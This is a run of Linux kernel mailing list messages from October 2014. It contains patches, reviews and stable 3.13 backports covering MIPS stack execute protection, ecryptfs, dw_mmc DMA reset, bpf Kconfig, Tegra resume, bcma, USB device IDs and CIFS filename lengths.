-   bool "Support initial ramdisks compressed using LZ4" if EXPERT
-   default !EXPERT
+   bool "Support initial ramdisks compressed using LZ4"
+   default y
depends on BLK_DEV_INITRD
select DECOMPRESS_LZ4
help
-- 
1.9.3

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v2 0/3] MIPS executable stack protection

2014-10-09 Thread Paul Burton
On Thu, Oct 09, 2014 at 03:18:56PM -0700, Leonid Yegoshin wrote:
> >The recent discussions on this subject, including many comments from
> >Imgtec e-mail addresses, brought to light the need to use an instruction
> >set emulator for newer MIPSr6 ISA processors.
> 
> In Imgtec I am only one who works on MIPS R6 SW and FPU branch emulation and
> I say you - it is not needed, this solution is enough.

On R6, yes, for some time now but you still have not submitted that code
for review. Your having worked on something does not automatically make
it correct.

On the FP branch delays, clearly not given that I submitted a similar
patch almost a year ago...

Paul
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] ecryptfs: remove unneeded buggy code in ecryptfs_do_create()

2014-10-09 Thread Tyler Hicks
Hi Alexey - thanks for the patch.

On 2014-09-23 00:39:31, Alexey Khoroshilov wrote:
> There is a bug in error handling of lock_parent() in ecryptfs_do_create():
> lock_parent() acquries mutex even if dget_parent() fails, so mutex should be 
> unlocked anyway.
> 
> But dget_parent() does not fail, so the patch just removes unneeded buggy 
> code.
> 
> Found by Linux Driver Verification project (linuxtesting.org).
> 
> Signed-off-by: Alexey Khoroshilov 

This looks good to me and I've included it in the pull request that I
just sent to Linus. Thanks!

Tyler

> ---
>  fs/ecryptfs/inode.c | 7 ---
>  1 file changed, 7 deletions(-)
> 
> diff --git a/fs/ecryptfs/inode.c b/fs/ecryptfs/inode.c
> index d4a9431ec73c..97735c75085f 100644
> --- a/fs/ecryptfs/inode.c
> +++ b/fs/ecryptfs/inode.c
> @@ -192,12 +192,6 @@ ecryptfs_do_create(struct inode *directory_inode,
>  
>   lower_dentry = ecryptfs_dentry_to_lower(ecryptfs_dentry);
>   lower_dir_dentry = lock_parent(lower_dentry);
> - if (IS_ERR(lower_dir_dentry)) {
> - ecryptfs_printk(KERN_ERR, "Error locking directory of "
> - "dentry\n");
> - inode = ERR_CAST(lower_dir_dentry);
> - goto out;
> - }
>   rc = vfs_create(lower_dir_dentry->d_inode, lower_dentry, mode, true);
>   if (rc) {
>   printk(KERN_ERR "%s: Failure to create dentry in lower fs; "
> @@ -215,7 +209,6 @@ ecryptfs_do_create(struct inode *directory_inode,
>   fsstack_copy_inode_size(directory_inode, lower_dir_dentry->d_inode);
>  out_lock:
>   unlock_dir(lower_dir_dentry);
> -out:
>   return inode;
>  }
>  
> -- 
> 1.9.1
> 


signature.asc
Description: Digital signature


Re: [PATCH] mmc: dw_mmc: Reset DMA before enabling IDMAC

2014-10-09 Thread Alim Akhtar
Hi Eddie,

On Thu, Oct 9, 2014 at 7:43 PM, Eddie Cai(蔡枫)  wrote:
> Hi Alim
>
> 2014年10月8日 上午4:28于 "Alim Akhtar" 写道:
>
>
>>
>> Hi Sonny/Doug,
>>
>> On Mon, Oct 6, 2014 at 11:23 PM, Sonny Rao  wrote:
>> > We've already got a reset of DMA after it's done.  Add one before we
>> > start DMA too.  This fixes a data corruption on Rockchip SoCs which
>> > will get bad data when doing a DMA transfer after doing a PIO transfer.
>> >
>> > We tested this on an Exynos 5800 with HS200 and didn't notice any
>> > difference in sequential read throughput.
>> >
>> > Signed-off-by: Sonny Rao 
>> > Signed-off-by: Doug Anderson 
>> > ---
>> >  drivers/mmc/host/dw_mmc.c | 4 
>> >  1 file changed, 4 insertions(+)
>> >
>> > diff --git a/drivers/mmc/host/dw_mmc.c b/drivers/mmc/host/dw_mmc.c
>> > index 69f0cc6..2b5401e 100644
>> > --- a/drivers/mmc/host/dw_mmc.c
>> > +++ b/drivers/mmc/host/dw_mmc.c
>> > @@ -83,6 +83,7 @@ struct idmac_desc {
>> >  #endif /* CONFIG_MMC_DW_IDMAC */
>> >
>> >  static bool dw_mci_reset(struct dw_mci *host);
>> > +static bool dw_mci_ctrl_reset(struct dw_mci *host, u32 reset);
>> >
>> >  #if defined(CONFIG_DEBUG_FS)
>> >  static int dw_mci_req_show(struct seq_file *s, void *v)
>> > @@ -448,6 +449,9 @@ static void dw_mci_idmac_start_dma(struct dw_mci
>> > *host, unsigned int sg_len)
>> >
>> > dw_mci_translate_sglist(host, host->data, sg_len);
>> >
>> > +   /* Make sure to reset DMA in case we did PIO before this */
>> > +   dw_mci_ctrl_reset(host, SDMMC_CTRL_DMA_RESET);
>> > +
>> Though this is good to do, but this does not look complete to me.
>> dw_mmc data book does mention that " It is recommended that the host
>> issue reset to DMA interface by setting DMA_RESET bit of the CTRL
>> register and then issue a IDMAC software reset."
>> The above lines are from 'Transmission and reception with internal
>> DMA' section of the data book.
>> My suggestion here to add dw_mci_idmac_reset() call after this above
>> change.
>>
>> What is the controller version used in your case?
>
> it just compatible with dw mmc controler but not the same one. it is
> designed by rockchip.
>
Thats fine, I think every vendor (most of them) has a custom
implementation of dw_mmc, but they do have VERID register to check the
dw_mmc version.
The reason why I asked is, I have seen inconsistency in card
enumeration on few controller version, and this patch alone does not
help, and adding a call to dw_mci_idmac_reset() after DMA reset is
needed. And this is what is recommended in the synopsys's data book
also.
Do you see any issue/side effect after adding dw_mci_idmac_reset()?

>> > /* Select IDMAC interface */
>> > temp = mci_readl(host, CTRL);
>> > temp |= SDMMC_CTRL_USE_IDMAC;
>> > --
>> > 1.8.3.2
>> >
>> > --
>> > To unsubscribe from this list: send the line "unsubscribe linux-mmc" in
>> > the body of a message to majord...@vger.kernel.org
>> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>
>>
>>
>> --
>> Regards,
>> Alim
>>
>>



-- 
Regards,
Alim
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v2 0/3] MIPS executable stack protection

2014-10-09 Thread Leonid Yegoshin

On 10/09/2014 02:42 PM, David Daney wrote:

On 10/09/2014 01:00 PM, Leonid Yegoshin wrote:

The following series implements an executable stack protection in MIPS.

It sets up a per-thread 'VDSO' page and appropriate TLB support.
Page is set write-protected from user and is maintained via kernel VA.
MIPS FPU emulation is shifted to new page and stack is relieved for
execute protection as is as all data pages in default setup during ELF
binary initialization. The real protection is controlled by GLIBC and
it can do stack protected now as it is done in other architectures and
I learned today that GLIBC team is ready for this.


What does it mean to be 'ready'?  If they committed patches before 
there was kernel support, that it putting the cart before the horse.  
GlibC's state cannot be used as valid reason for committing major 
kernel changes.  There would be no regression in any GLibC based 
system as a result of not merging this patch.
Rich Fuhler said me that they discussed it internally and have a 
solution to fix their problem (ignoring PT_GNU_STACK on first library 
load - they need to sort out the logic). But we need to split both issue 
- right now stack can't be protected because of emulation. If they set 
stack protected then emulation fails on CPU without FPU.






Note: actual execute-protection depends from HW capability, of course.

This patch is required for MIPS32/64 R2 emulation on MIPS R6 
architecture.
Without it 'ssh-keygen' crashes pretty fast on attempt to execute 
instruction

in stack.


There is much more blocking MIPS32/64 R2 emulation on MIPS R6 than 
just this patch isn't there?


This one is critical - ssh-keygen crashes during running MIPS R2. I have 
a patch in my R6 repository but GLIBC still can't set stack executable 
and security suffers.




Also, if you are supporting MIPS R6, this patch doesn't even work, 
because it doesn't handle PC relative instructions at all.


It seems like you missed my statement - adding support for PC-relative 
instruction is just 5 lines of code. I just refrain from this until 
toolchain starts generating that.


Besides that, this version 2 of patch just passed 20-22 hours on P5600 
and Virtuoso (no FPU on both) under SOAK test and it gets around 1 per 
hour of signal right at emulated instruction in VDSO and unwind works 
(as I can see in debug prints).





The recent discussions on this subject, including many comments from 
Imgtec e-mail addresses, brought to light the need to use an 
instruction set emulator for newer MIPSr6 ISA processors.


In Imgtec I am only one who works on MIPS R6 SW and FPU branch emulation 
and I say you - it is not needed, this solution is enough.




In light of this, why does it make sense to merge this patch, instead 
of taking the approach of emulating the instructions in the delay slot?


Well, because it does exist now. But full MIPS emulator... for all 
ASEs... for any MIPS vendor... I even doesn't want to estimate an amount 
of time and code size to develop it.


Besides that, you missed my another statement - we don't force customer 
to disclose all details of their COP2 instructions.


- Leonid
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH net] net: bpf: fix bpf syscall dependence on anon_inodes

2014-10-09 Thread Alexei Starovoitov
minimal configurations where EPOLL, PERF_EVENTS, etc are disabled,
but NET is enabled, are failing to build with link error:
kernel/built-in.o: In function `bpf_prog_load':
syscall.c:(.text+0x3b728): undefined reference to `anon_inode_getfd'

fix it by selecting ANON_INODES when NET is enabled

Reported-by: Michal Sojka 
Signed-off-by: Alexei Starovoitov 
---

I understand that 'select' is highly non-recommended for all good reasons,
but here 'depends on' is very user unfriendly, since ANON_INODES is
a hidden config that users cannot select directly.

 net/Kconfig |1 +
 1 file changed, 1 insertion(+)

diff --git a/net/Kconfig b/net/Kconfig
index d6b138e..6272420 100644
--- a/net/Kconfig
+++ b/net/Kconfig
@@ -6,6 +6,7 @@ menuconfig NET
bool "Networking support"
select NLATTR
select GENERIC_NET_UTILS
+   select ANON_INODES
---help---
  Unless you really know what you are doing, you should say Y here.
  The reason is that some programs need kernel networking support even
-- 
1.7.9.5

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH V2] ARM: tegra: Re-add removed SoC id macro to tegra_resume()

2014-10-09 Thread Dmitry Osipenko
08.10.2014 23:24, Dmitry Osipenko пишет:
> Commit d127e9c5c5bc1ee22a7b1fe804397cddd132f756 ("ARM: tegra: make 
> tegra_resume
> can work with current and later chips") removed tegra_get_soc_id macro leaving
> used cpu register unassigned and as result causing execution of unintended 
> code
> on tegra20. Fix it by re-adding macro.
> 
> Fixes: d127e9c (ARM: tegra: make tegra_resume can work with current and later 
> chips)
> Cc:  # v3.13+
> Reviewed-by: Felipe Balbi 
> Signed-off-by: Dmitry Osipenko 
> ---
> V2: added Cc's for lakml and stable, added "Reviewed-by:" Felipe Balbi
> 
>  arch/arm/mach-tegra/reset-handler.S | 1 +
>  1 file changed, 1 insertion(+)
> 
> diff --git a/arch/arm/mach-tegra/reset-handler.S 
> b/arch/arm/mach-tegra/reset-handler.S
> index 7b2baab..71be4af 100644
> --- a/arch/arm/mach-tegra/reset-handler.S
> +++ b/arch/arm/mach-tegra/reset-handler.S
> @@ -51,6 +51,7 @@ ENTRY(tegra_resume)
>   THUMB(  it  ne )
>   bne cpu_resume  @ no
>  
> + tegra_get_soc_id TEGRA_APB_MISC_BASE, r6
>   /* Are we on Tegra20? */
>   cmp r6, #TEGRA20
>   beq 1f  @ Yes
> 
Ugh, I just noticed that r6 is expected to be SoC id func argument. It was bug
in my emulator that blinded me, so please drop that patch.
But, seems tegra20_lp1_reset() doesn't set r6, at least for now I don't see
where. I'll check it on real hw and send patch if needed.

-- 
Dmitry
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] bcma: Add dependency on OF_ADDRESS

2014-10-09 Thread Guenter Roeck
On Thu, Oct 09, 2014 at 11:48:08PM +0200, Hauke Mehrtens wrote:
> On 10/09/2014 09:25 PM, Guenter Roeck wrote:
> > On Thu, Oct 09, 2014 at 08:28:31PM +0200, Hauke Mehrtens wrote:
> >> On 10/09/2014 07:29 PM, Guenter Roeck wrote:
> >>> On Thu, Oct 09, 2014 at 07:18:31PM +0200, Arend van Spriel wrote:
>  On 10/09/14 19:15, Arend van Spriel wrote:
> > On 10/09/14 18:54, Rafał Miłecki wrote:
> >> On 9 October 2014 18:41, Guenter Roeck wrote:
> >>> Commit 2101e533f41a ("bcma: register bcma as device tree driver")
> >>> introduces a hard dependency on OF_ADDRESS into the bcma driver.
> >>> OF_ADDRESS is specifically disabled for the sparc architecture.
> >>> This results in the following error when building 
> >>> sparc64:allmodconfig.
> >
> > Does this mean on sparc (using allmodconfig) you will get CONFIG_OF and
> > !CONFIG_OF_ADDRESS? Does that makes sense?
> 
>  Is CONFIG_OF is used on sparc to access OpenBoot information?
> 
> >>> I have no idea. All I know is that the driver doesn't build anymore with 
> >>> OF
> >>> enabled and OF_ADDRESS disabled.
> >>
> >> Device tree support in bcma is only needed on some SoC, when this is
> >> used on a PCIe card it is not needed.
> >>
> >> I would just deactivate the parts that are using device tree in bcma
> >> when it is not available. I will send a patch after having something to 
> >> eat.
> >>
> > Devicetree dependency is already covered with #ifdef CONFIG_OF. Problem is
> > that it really needs #ifdef CONFIG_OF_ADDRESS. Though even that might be
> > better than my patch, since it would at least build the driver on sparc
> > as it used to do.
> > 
> >> Is there a better method which is compatible with SPARC than using
> >> of_translate_address() to get the reg address and also take the ranges
> >> attribute of the bus into account?
> >>
> > No idea, sorry. Can you by any chance use pcie device information
> > instead of depending on devicetree data ?
> 
> Device tree is not used for PCIe devices in bcma. We only use it when
> bcma is used for the system bus on some Broadcom SoCs, currently there
> is no plan to use device tree for PCIe devices in bcma. I think bcma is
> only used on wifi cards connected via PCIe on Sparc systems.
> 
Ok. Well, with your patch the code is as good or as bad as it was prior to
adding devicetree support to the driver, so hopefully should work.

Guenter
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH 3/5] regulator: dt-bindings: Add regulator-initial-mode support

2014-10-09 Thread Javier Martinez Canillas
On 10/09/2014 09:01 PM, Mark Brown wrote:
> On Thu, Oct 09, 2014 at 05:04:35PM +0200, Javier Martinez Canillas wrote:
> 
>> Agree, Mark also pointed out that there is a difference between changing
>> how the regulator will behave on runtime vs changing how the regulator
>> will behave during system suspend. AFAIU from his explanation, the modes
>> defined in consumer.h only applies to the former and conceptually there
>> should be a difference between those two cases even when the Maxim PMIC
>> seems to mix it both in the data-sheet and by using the same field.
> 
> No, that's not accurate at all - you're still not getting the concepts
> of modes or suspend handling in the regulator API.  I really think you
> need to take a step back and try to understand what's currently there
> before trying to make changes here.  We've got a set of operations we
> can use to change the regulator configuration, if you look at the
> existing driver interface you'll see that these are matched with
> equivalent operations for setting the behaviour when in suspend
> (including a set_suspend_mode() operation).  
> 

I tried to say that there is a difference between the need to change
within the kernel a regulator configuration (e.g: change opmode from
normal to low power) when the system is going to enter in suspend state
vs setting a register at probe time that will force the PMIC to change
the regulator to low power mode on suspend without kernel intervention.

> Like I keep saying abstractions are really important to making sure the
> code is maintainable.
> 

Agree, I'll try to come up with a more sensible solution by using the
existing abstractions from the regulator framework.

Best regards,
Javier
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] tty/n_gsm.c: do not clear gsm_mux entry when the gsm is not closed

2014-10-09 Thread One Thousand Gnomes
> > What happened to the gsm driver maintainers?
> 
> hahaha
> 
> $ ./scripts/get_maintainer.pl -f drivers/tty/n_gsm.c 
> Greg Kroah-Hartman  (supporter:TTY LAYER)
> Jiri Slaby  (supporter:TTY LAYER)
> linux-kernel@vger.kernel.org (open list)


We have a bunch of folks in Intel working on some improvements to it. I'll
poke them tomorrow since I think we are one of the main users.

Alan
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] net sched: text ematch: zero out ts_state before using it

2014-10-09 Thread Omar Sandoval
On Thu, Oct 09, 2014 at 02:48:54PM -0700, Cong Wang wrote:
> On Thu, Oct 9, 2014 at 9:05 AM, Omar Sandoval  wrote:
> > textsearch_find zeroes out the offset, but the control buffer (which may or 
> > may
> > not matter in this case) needs to be zeroed out as well.
> 
> Why? skb_prepare_seq_read() initializes the cb.
> 
> Also, the comment says:
> 
>  * @state: uninitialized textsearch state variable

Mm, thanks, I missed that. It looks like every other caller of skb_find_text is
doing an unnecessary memset in that case. Disregard this, I guess.
-- 
Omar
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 009/163] rtlwifi: rtl8192cu: Add new ID

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Larry Finger 

commit c66517165610b911e4c6d268f28d8c640832dbd1 upstream.

The Sitecom WLA-2102 adapter uses this driver.

Reported-by: Nico Baggus 
Signed-off-by: Larry Finger 
Cc: Nico Baggus 
Signed-off-by: John W. Linville 
Signed-off-by: Kamal Mostafa 
---
 drivers/net/wireless/rtlwifi/rtl8192cu/sw.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/drivers/net/wireless/rtlwifi/rtl8192cu/sw.c 
b/drivers/net/wireless/rtlwifi/rtl8192cu/sw.c
index c613110..f583167 100644
--- a/drivers/net/wireless/rtlwifi/rtl8192cu/sw.c
+++ b/drivers/net/wireless/rtlwifi/rtl8192cu/sw.c
@@ -317,6 +317,7 @@ static struct usb_device_id rtl8192c_usb_ids[] = {
{RTL_USB_DEVICE(0x0bda, 0x5088, rtl92cu_hal_cfg)}, /*Thinkware-CC*/
{RTL_USB_DEVICE(0x0df6, 0x0052, rtl92cu_hal_cfg)}, /*Sitecom - Edimax*/
{RTL_USB_DEVICE(0x0df6, 0x005c, rtl92cu_hal_cfg)}, /*Sitecom - Edimax*/
+   {RTL_USB_DEVICE(0x0df6, 0x0070, rtl92cu_hal_cfg)}, /*Sitecom - 150N */
{RTL_USB_DEVICE(0x0df6, 0x0077, rtl92cu_hal_cfg)}, /*Sitecom-WLA2100V2*/
{RTL_USB_DEVICE(0x0eb0, 0x9071, rtl92cu_hal_cfg)}, /*NO Brand - Etop*/
{RTL_USB_DEVICE(0x4856, 0x0091, rtl92cu_hal_cfg)}, /*NetweeN - Feixun*/
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 016/163] USB: zte_ev: fix removed PIDs

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Johan Hovold 

commit 4df0ea41af9dce89daa9f1cb968884b346d168c9 upstream.

Add back some PIDs that were mistakingly remove when reverting commit
73228a0538a7 ("USB: option,zte_ev: move most ZTE CDMA devices to
zte_ev"), which apparently did more than its commit message claimed in
that it not only moved some PIDs from option to zte_ev but also added
some new ones.

Fixes: 63a901c06e3c ("Revert "USB: option,zte_ev: move most ZTE CDMA
devices to zte_ev"")

Reported-by: Lei Liu 
Signed-off-by: Kamal Mostafa 
---
 drivers/usb/serial/zte_ev.c | 8 
 1 file changed, 8 insertions(+)

diff --git a/drivers/usb/serial/zte_ev.c b/drivers/usb/serial/zte_ev.c
index 88dd32c..d6a3fbd 100644
--- a/drivers/usb/serial/zte_ev.c
+++ b/drivers/usb/serial/zte_ev.c
@@ -273,6 +273,14 @@ static void zte_ev_usb_serial_close(struct usb_serial_port 
*port)
 }
 
 static const struct usb_device_id id_table[] = {
+   { USB_DEVICE(0x19d2, 0xffec) },
+   { USB_DEVICE(0x19d2, 0xffee) },
+   { USB_DEVICE(0x19d2, 0xfff6) },
+   { USB_DEVICE(0x19d2, 0xfff7) },
+   { USB_DEVICE(0x19d2, 0xfff8) },
+   { USB_DEVICE(0x19d2, 0xfff9) },
+   { USB_DEVICE(0x19d2, 0xfffb) },
+   { USB_DEVICE(0x19d2, 0xfffc) },
/* MG880 */
{ USB_DEVICE(0x19d2, 0xfffd) },
{ },
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 017/163] USB: ftdi_sio: add support for NOVITUS Bono E thermal printer

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Johan Hovold 

commit ee444609dbae8afee420c3243ce4c5f442efb622 upstream.

Add device id for NOVITUS Bono E thermal printer.

Reported-by: Emanuel Koczwara 
Signed-off-by: Johan Hovold 
Signed-off-by: Kamal Mostafa 
---
 drivers/usb/serial/ftdi_sio.c | 1 +
 drivers/usb/serial/ftdi_sio_ids.h | 6 ++
 2 files changed, 7 insertions(+)

diff --git a/drivers/usb/serial/ftdi_sio.c b/drivers/usb/serial/ftdi_sio.c
index d429761..7bdfa9c 100644
--- a/drivers/usb/serial/ftdi_sio.c
+++ b/drivers/usb/serial/ftdi_sio.c
@@ -742,6 +742,7 @@ static struct usb_device_id id_table_combined [] = {
{ USB_DEVICE(FTDI_VID, FTDI_NDI_AURORA_SCU_PID),
.driver_info = (kernel_ulong_t)_NDI_device_quirk },
{ USB_DEVICE(TELLDUS_VID, TELLDUS_TELLSTICK_PID) },
+   { USB_DEVICE(NOVITUS_VID, NOVITUS_BONO_E_PID) },
{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_S03_PID) },
{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_59_PID) },
{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_57A_PID) },
diff --git a/drivers/usb/serial/ftdi_sio_ids.h 
b/drivers/usb/serial/ftdi_sio_ids.h
index 70b0b1d..8927a5c 100644
--- a/drivers/usb/serial/ftdi_sio_ids.h
+++ b/drivers/usb/serial/ftdi_sio_ids.h
@@ -837,6 +837,12 @@
 #define TELLDUS_TELLSTICK_PID  0x0C30  /* RF control dongle 433 MHz 
using FT232RL */
 
 /*
+ * NOVITUS printers
+ */
+#define NOVITUS_VID0x1a28
+#define NOVITUS_BONO_E_PID 0x6010
+
+/*
  * RT Systems programming cables for various ham radios
  */
 #define RTSYSTEMS_VID  0x2100  /* Vendor ID */
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 012/163] Revert "mac80211: disable uAPSD if all ACs are under ACM"

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Johannes Berg 

commit bb512ad0732232f1d2693bb68f31a76bed8f22ae upstream.

This reverts commit 24aa11ab8ae03292d38ec0dbd9bc2ac49fe8a6dd.

That commit was wrong since it uses data that hasn't even been set
up yet, but might be a hold-over from a previous connection.

Additionally, it seems like a driver-specific workaround that
shouldn't have been in mac80211 to start with.

Fixes: 24aa11ab8ae0 ("mac80211: disable uAPSD if all ACs are under ACM")
Reviewed-by: Luciano Coelho 
Signed-off-by: Johannes Berg 
Signed-off-by: Kamal Mostafa 
---
 net/mac80211/mlme.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/net/mac80211/mlme.c b/net/mac80211/mlme.c
index fcdd5de..6c126fc 100644
--- a/net/mac80211/mlme.c
+++ b/net/mac80211/mlme.c
@@ -4219,8 +4219,7 @@ int ieee80211_mgd_assoc(struct ieee80211_sub_if_data 
*sdata,
rcu_read_unlock();
 
if (bss->wmm_used && bss->uapsd_supported &&
-   (sdata->local->hw.flags & IEEE80211_HW_SUPPORTS_UAPSD) &&
-   sdata->wmm_acm != 0xff) {
+   (sdata->local->hw.flags & IEEE80211_HW_SUPPORTS_UAPSD)) {
assoc_data->uapsd = true;
ifmgd->flags |= IEEE80211_STA_UAPSD_ENABLED;
} else {
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 002/163] percpu: fix pcpu_alloc_pages() failure path

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Tejun Heo 

commit f0d279654dea22b7a6ad34b9334aee80cda62cde upstream.

When pcpu_alloc_pages() fails midway, pcpu_free_pages() is invoked to
free what has already been allocated.  The invocation is across the
whole requested range and pcpu_free_pages() will try to free all
non-NULL pages; unfortunately, this is incorrect as
pcpu_get_pages_and_bitmap(), unlike what its comment suggests, doesn't
clear the pages array and thus the array may have entries from the
previous invocations making the partial failure path free incorrect
pages.

Fix it by open-coding the partial freeing of the already allocated
pages.

Signed-off-by: Tejun Heo 
Signed-off-by: Kamal Mostafa 
---
 mm/percpu-vm.c | 21 +++--
 1 file changed, 15 insertions(+), 6 deletions(-)

diff --git a/mm/percpu-vm.c b/mm/percpu-vm.c
index 3707c71..8d9bb2c 100644
--- a/mm/percpu-vm.c
+++ b/mm/percpu-vm.c
@@ -108,7 +108,7 @@ static int pcpu_alloc_pages(struct pcpu_chunk *chunk,
int page_start, int page_end)
 {
const gfp_t gfp = GFP_KERNEL | __GFP_HIGHMEM | __GFP_COLD;
-   unsigned int cpu;
+   unsigned int cpu, tcpu;
int i;
 
for_each_possible_cpu(cpu) {
@@ -116,14 +116,23 @@ static int pcpu_alloc_pages(struct pcpu_chunk *chunk,
struct page **pagep = [pcpu_page_idx(cpu, i)];
 
*pagep = alloc_pages_node(cpu_to_node(cpu), gfp, 0);
-   if (!*pagep) {
-   pcpu_free_pages(chunk, pages, populated,
-   page_start, page_end);
-   return -ENOMEM;
-   }
+   if (!*pagep)
+   goto err;
}
}
return 0;
+
+err:
+   while (--i >= page_start)
+   __free_page(pages[pcpu_page_idx(cpu, i)]);
+
+   for_each_possible_cpu(tcpu) {
+   if (tcpu == cpu)
+   break;
+   for (i = page_start; i < page_end; i++)
+   __free_page(pages[pcpu_page_idx(tcpu, i)]);
+   }
+   return -ENOMEM;
 }
 
 /**
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH 3.13 011/163] CIFS: Fix wrong filename length for SMB2

2014-10-09 Thread Kamal Mostafa
3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
know.

--

From: Pavel Shilovsky 

commit 1bbe4997b13de903c421c1cc78440e544b5f9064 upstream.

The existing code uses the old MAX_NAME constant. This causes
XFS test generic/013 to fail. Fix it by replacing MAX_NAME with
PATH_MAX that SMB1 uses. Also remove an unused MAX_NAME constant
definition.

Signed-off-by: Pavel Shilovsky 
Signed-off-by: Steve French 
Signed-off-by: Kamal Mostafa 
---
 fs/cifs/cifsglob.h  | 5 -
 fs/cifs/smb2file.c  | 2 +-
 fs/cifs/smb2inode.c | 2 +-
 fs/cifs/smb2ops.c   | 2 +-
 fs/cifs/smb2pdu.c   | 2 +-
 5 files changed, 4 insertions(+), 9 deletions(-)

diff --git a/fs/cifs/cifsglob.h b/fs/cifs/cifsglob.h
index 292a62f..60aa9b9 100644
--- a/fs/cifs/cifsglob.h
+++ b/fs/cifs/cifsglob.h
@@ -70,11 +70,6 @@
 #define SERVER_NAME_LENGTH 40
 #define SERVER_NAME_LEN_WITH_NULL (SERVER_NAME_LENGTH + 1)
 
-/* used to define string lengths for reversing unicode strings */
-/* (256+1)*2 = 514 */
-/*   (max path length + 1 for null) * 2 for unicode*/
-#define MAX_NAME 514
-
 /* SMB echo "timeout" -- FIXME: tunable? */
 #define SMB_ECHO_INTERVAL (60 * HZ)
 
diff --git a/fs/cifs/smb2file.c b/fs/cifs/smb2file.c
index 3f17b45..4599294 100644
--- a/fs/cifs/smb2file.c
+++ b/fs/cifs/smb2file.c
@@ -50,7 +50,7 @@ smb2_open_file(const unsigned int xid, struct cifs_open_parms 
*oparms,
goto out;
}
 
-   smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + MAX_NAME * 2,
+   smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + PATH_MAX * 2,
GFP_KERNEL);
if (smb2_data == NULL) {
rc = -ENOMEM;
diff --git a/fs/cifs/smb2inode.c b/fs/cifs/smb2inode.c
index 84c012a..215f8d3 100644
--- a/fs/cifs/smb2inode.c
+++ b/fs/cifs/smb2inode.c
@@ -131,7 +131,7 @@ smb2_query_path_info(const unsigned int xid, struct 
cifs_tcon *tcon,
*adjust_tz = false;
*symlink = false;
 
-   smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + MAX_NAME * 2,
+   smb2_data = kzalloc(sizeof(struct smb2_file_all_info) + PATH_MAX * 2,
GFP_KERNEL);
if (smb2_data == NULL)
return -ENOMEM;
diff --git a/fs/cifs/smb2ops.c b/fs/cifs/smb2ops.c
index a628cf8..34a17d4 100644
